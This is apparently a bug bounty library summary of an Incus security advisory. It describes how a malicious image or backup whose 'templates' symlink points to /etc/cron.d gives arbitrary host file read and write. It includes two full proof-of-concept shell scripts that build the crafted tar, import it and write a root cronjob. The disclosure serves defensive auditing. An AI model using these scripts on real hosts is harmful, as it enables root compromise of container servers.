# Incus has arbitrary file read+write on host via templates/ symlink in malicious image

Malicious Incus image/backup with top-level templates symlink to /etc/cron.d lets attacker read/write arbitrary host files, achieving root RCE.

- Payout: Research
- Severity: critical
- Program: Incus
- Found by: antifob
- Disclosed: 2026-06-26
- CVE: CVE-2026-48752
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vxp5-584q-c479
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vxp5-584q-c479
- Tags: area:cloud domain:infra impact:data-leak impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:linux technique:source-review vuln:path-traversal vuln:rce

**Target:** incusd image import and backup import (tar/rsync extraction)
**Root cause:** Tar extraction in shared/archive/archive.go excludes device nodes but does not reject a top-level `templates` symlink; backup rsync.LocalCopy uses `-a` without `--safe-links`, so a symlinked templates dir is followed on the host.
**Steps:**
1. Build image dir with `mkdir -p img/rootfs` and `ln -s /etc/cron.d img/templates`, plus metadata.yaml
2. `tar --owner=0 --group=0 -f- -c * > afrw-image-templates-symlink.tar`
3. `incus image import afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink` then `incus init` it
4. `incus config template ls` shows host /etc/cron.d contents (read)
5. `printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32` writes cron file to host
6. Alternative: craft backup tar with `ln -s /etc/cron.d backup/container/templates` and `incus import`
**How found:** Code review of archive.Unpack and rsync.LocalCopy: noticed device nodes are filtered but top-level symlinks (templates) are not, and rsync lacks --safe-links.
**Exploitation:** Attacker supplies crafted image or backup; symlinked templates dir maps to a host path like /etc/cron.d. Template read/write operations then read or write host files, e.g. dropping a root cronjob that runs `id>/pwned`, yielding root command execution on the host.
**Escalation:** File write to /etc/cron.d escalates from arbitrary file write to root code execution via cron.
**Insight:** When auditing archive/backup import paths, check whether top-level symlinks (not just device nodes or nested entries) are rejected, and whether rsync uses --safe-links; a single symlinked well-known directory (templates) can redirect all subsequent file ops to host paths.

## Proof of concept (copied exactly from the original report)

**Malicious image PoC script with templates symlink**

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
```

**Malicious backup PoC with templates symlink**

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__

mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
  name: afrw-backup-templates-symlink
  architecture: x86_64
  type: container
  status: Stopped
  status_code: 102
  stateful: false
  ephemeral: false
  profiles:
    - default
  config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  expanded_config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  devices: {}
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  created_at: "2024-01-01T00:00:00Z"
  last_used_at: "2024-01-01T00:00:00Z"
volume:
  name: afrw-backup-templates-symlink
  type: container
  content_type: filesystem
  config: {}
pool:
  name: default
  driver: dir
  config: {}
__EOF__

cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: afrw-backup-templates-symlink
__EOF__

mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink

# read
#incus config template show afrw-backup-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc
```